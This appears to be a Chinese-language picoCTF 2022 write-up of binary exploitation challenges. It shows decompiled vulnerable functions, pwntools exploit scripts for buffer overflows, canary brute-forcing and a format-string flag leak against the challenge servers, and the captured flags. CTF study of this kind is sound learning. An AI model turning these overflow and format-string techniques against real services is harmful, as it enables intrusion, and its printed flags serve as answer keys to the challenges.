basic-file-exploit
if ((entry_number = strtol(entry, NULL, 10)) == 0)
{
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
查询 0 号就可以了
┌──(root㉿LAPTOP-Sparks)-[/tmp]
└─# nc saturn.picoctf.net 52682
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
2
2
No data yet
1
1
Please enter your data:
123
123
Please enter the length of your data:
3
3
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_038A9E95}
buffer overflow 0
fgets(flag, FLAGSIZE_MAX, f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
// SIGSEGV 非法访问内存。
strcpy
内存溢出即可
void vuln(char *input)
{
char buf2[16];
strcpy(buf2, input);
}
┌──(sparks㉿LAPTOP-Sparks)-[/mnt/…/Desktop/CTF/pico2022/Pwn]
└─$ nc saturn.picoctf.net 65445
Input: 12345678901234567890
picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}
CVE-XXXX-XXXX
Description
Enter the CVE of the vulnerability as the flag with the correct flag format:picoCTF{CVE-XXXX-XXXXX}
**replacing XXXX-XXXXX with the numbers for the matching vulnerability.**The CVE we’re looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.
Windows Print Spooler 服务最新漏洞 CVE-2021-34527 详细分析 | 天融信阿尔法实验室 (topsec.com.cn)
buffer overflow 1
源代码写的是
void vuln()
{
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
但实际是
int __usercall get_return_address@<eax>(int a1@<ebp>)
{
return *(_DWORD *)(a1 + 4);
}
int vuln()
{
int v0; // eax
char s[36]; // [esp+0h] [ebp-28h] BYREF
int savedregs; // [esp+28h] [ebp+0h] BYREF
gets(s);
v0 = get_return_address((int)&savedregs);
return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}
就在 36(char[])+4(32 位 int)+4(函数中)后填充想要的地址即可
from pwn import *
# 本地
# ex = process('./vuln')
# 远程
ex = remote('saturn.picoctf.net', 52761)
payload = b''.join([b'0' for i in range(44)])
# 080491F6
payload += b'\xF6'
payload += b'\x91'
payload += b'\x04'
payload += b'\x08'
payload += b'\n'
ex.send(payload)
print(ex.recvall())
RPS
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
char *strstr(const char *haystack, const char *needle)
说明:在字符串 haystack
中查找第一次出现字符串 needle
的位置,不包含终止符 '\0'
。
from pwn import *
ex = remote('saturn.picoctf.net', 53296)
for i in range(5):
ex.sendline(b'1')
ex.sendline(b'rock/paper/scissors')
print(ex.recvline_contains(b'picoCTF{'))
x-sixty-what
64 位的 gets 溢出,本地复现了,远程失败,不清楚了
from pwn import *
# 本地
ex = process('./vuln')
# 远程
# ex = remote('saturn.picoctf.net', 50299)
payload = b''.join([b'0' for i in range(64 + 8)])
payload += p64(0x401236)
ex.sendline(payload)
print(payload)
print(ex.recvall())
等一会儿问问别人。。。
正解是将 payload += p64(0x401236)
改成 payload += p64(0x40123B)
等会问一下群里 dalao
原来是跳转不能跳到 endr64
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-riR62n8N-1648538657328)(https://b3logfile.com/siyuan/1646712724545/assets/L@K5KR4@K5FJGWRLX-20220328182936-n9gvon9.png)]
正常应该跳到 0x40123A
from pwn import *
import scapy.layers
# 本地
# ex = process('./vuln')
# 远程
ex = remote('saturn.picoctf.net', 63023)
payload = b''.join([b'0' for i in range(64 + 8)])
payload += p64(0x40123A)
ex.sendline(payload)
print(payload)
print(ex.recvall())
buffer overflow 2
int vuln()
{
char s[104]; // [esp+Ch] [ebp-6Ch] BYREF
gets(s);
return puts(s);
}
char *__cdecl win(int a1, int a2)
{
char *result; // eax
char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
FILE *stream; // [esp+4Ch] [ebp-Ch]
stream = fopen("flag.txt", "r");
if ( !stream )
{
printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");
exit(0);
}
result = fgets(s, 64, stream);
if ( a1 == -889262067 && a2 == -267522035 )
result = (char *)printf(s);
return result;
}
同 gets
栈溢出,但这次要传参
from pwn import *
# 本地
# ex = process('./vuln')
# 远程
ex = remote('saturn.picoctf.net', 64439)
payload = b''.join([b'0' for i in range(104 + 8)])
payload += p32(0x0804929A) #跳转地址
payload += p32(0x00000000) #返回地址
payload += p32(0xCAFEF00D) #第二个参数
payload += p32(0xF00DF00D) #第一个参数
ex.sendline(payload)
print(payload)
print(ex.recvall())
buffer overflow 3
int vuln()
{
size_t nbytes; // [esp+4h] [ebp-94h] BYREF
char v2[64]; // [esp+8h] [ebp-90h] BYREF
char buf[64]; // [esp+48h] [ebp-50h] BYREF
int s1; // [esp+88h] [ebp-10h] BYREF
int v5; // [esp+8Ch] [ebp-Ch]
v5 = 0;
s1 = global_canary;
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while ( v5 <= 63 )
{
read(0, &v2[v5], 1u);
if ( v2[v5] == 10 )
break;
++v5;
}
__isoc99_sscanf(v2, "%d", &nbytes);
printf("Input> ");
read(0, buf, nbytes);
if ( memcmp(&s1, &global_canary, 4u) )
{
puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
exit(-1);
}
puts("Ok... Now Where's the Flag?");
return fflush(stdout);
}
同样的道理,read(0, buf, nbytes)
可以出现缓冲区溢出,而
char buf[64]; // [esp+48h] [ebp-50h] BYREF
int s1; // [esp+88h] [ebp-10h] BYREF
s1
就是 canary
,可以溢出到 s1
的区域,
memcmp(&s1, &global_canary, 4u)
这里判断了 s1
和 global_canary
,我们只要枚举溢出区域的值,得到 global_canary
即可
注意第十行 s1 = global_canary;
,所以我们可以按位枚举
最后面跟上跳转地址即可
import pwn
import string
pwn.context.log_level = 'debug'
url = 'saturn.picoctf.net'
port = 58961
chs = string.ascii_letters
payload = pwn.cyclic(64)
for i in range(4):
for ch in chs:
ch = ch.encode()
ex = pwn.remote(url, port)
ex.sendlineafter(b'> ', str(64 + 1 + i).encode())
ex.sendlineafter(b'Input> ', payload + ch)
if b'Ok... Now Where\'s the Flag?' in ex.recv():
ex.close()
payload += ch
break
ex.close()
ex = pwn.remote(url, port)
ex.sendlineafter(b'> ', str(64 + 4 + 16 + 4).encode())
ex.sendlineafter(b'Input> ', payload + pwn.cyclic(16) + pwn.p32(0x8049336))
ex.interactive()
flag leak
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
格式化字符串漏洞
printf(story);
具体可以看 printf 格式化字符串漏洞原理与利用-看雪论坛
在这句话处下断点
其中 format
就是对应 printf(story)
中的 story
,传入值 %N$s
,N
是栈上偏移 n 的内容
注意:
- 栈上地址是会变化的,每次运行时的值都不一样,不能用读固定地址的方法来做,这样还可能读到奇奇怪怪的地方停不下来,把机器弄崩溃了
- 偏移 n ,不是偏移 n 个字节,而是偏移 32bit (32 位)
看一眼栈
FFB6CE60 [stack]:FFB6CE60
FFB6CE60 [stack]:FFB6CE60
F7D50A6C libc_2.33.so:F7D50A6C
08049346 vuln+13
24343225 # 传入的字符串"%24$"
FFFF0078 # 传入的字符串"x\x00"
FFB6CE90 [stack]:FFB6CE90
F7D55BAC libc_2.33.so:F7D55BAC
F7F55110 debug002:F7F55110
FFFFFFFF
F7F78720 ld_2.33.so:_dl_x86_get_c
F7D5730C libc_2.33.so:F7D5730C
F7F55110 debug002:F7F55110
00000000
F7F355C0 libc_2.33.so:_IO_file_ju
F7DC53C6 libc_2.33.so:_IO_default
F7F34D20 libc_2.33.so:_IO_2_1_std
0804838D LOAD:aSetresgid
00000001
00000000
0804C034 .got.plt:off_804C034
F7F6D9B6 ld_2.33.so:_dl_rtld_di_s
0804838D LOAD:aSetresgid
F7F8F9D0 ld_2.33.so:_r_debug+A4
FFB6CEE4 [stack]:FFB6CEE4 # 正好对应flag+4的地址,不清楚为什么
至于偏移 24 时为什么是这样的,暂不清楚
import pwn
pwn.context.log_level = 'debug'
url = 'saturn.picoctf.net'
port = 57666
# ex = pwn.process('./vuln')
ex = pwn.remote(url, port)
ex.sendlineafter(b'>> ', b'%24$s')
ex.recv()
ex.close()
ropfu
ROP 攻击,待学习。。。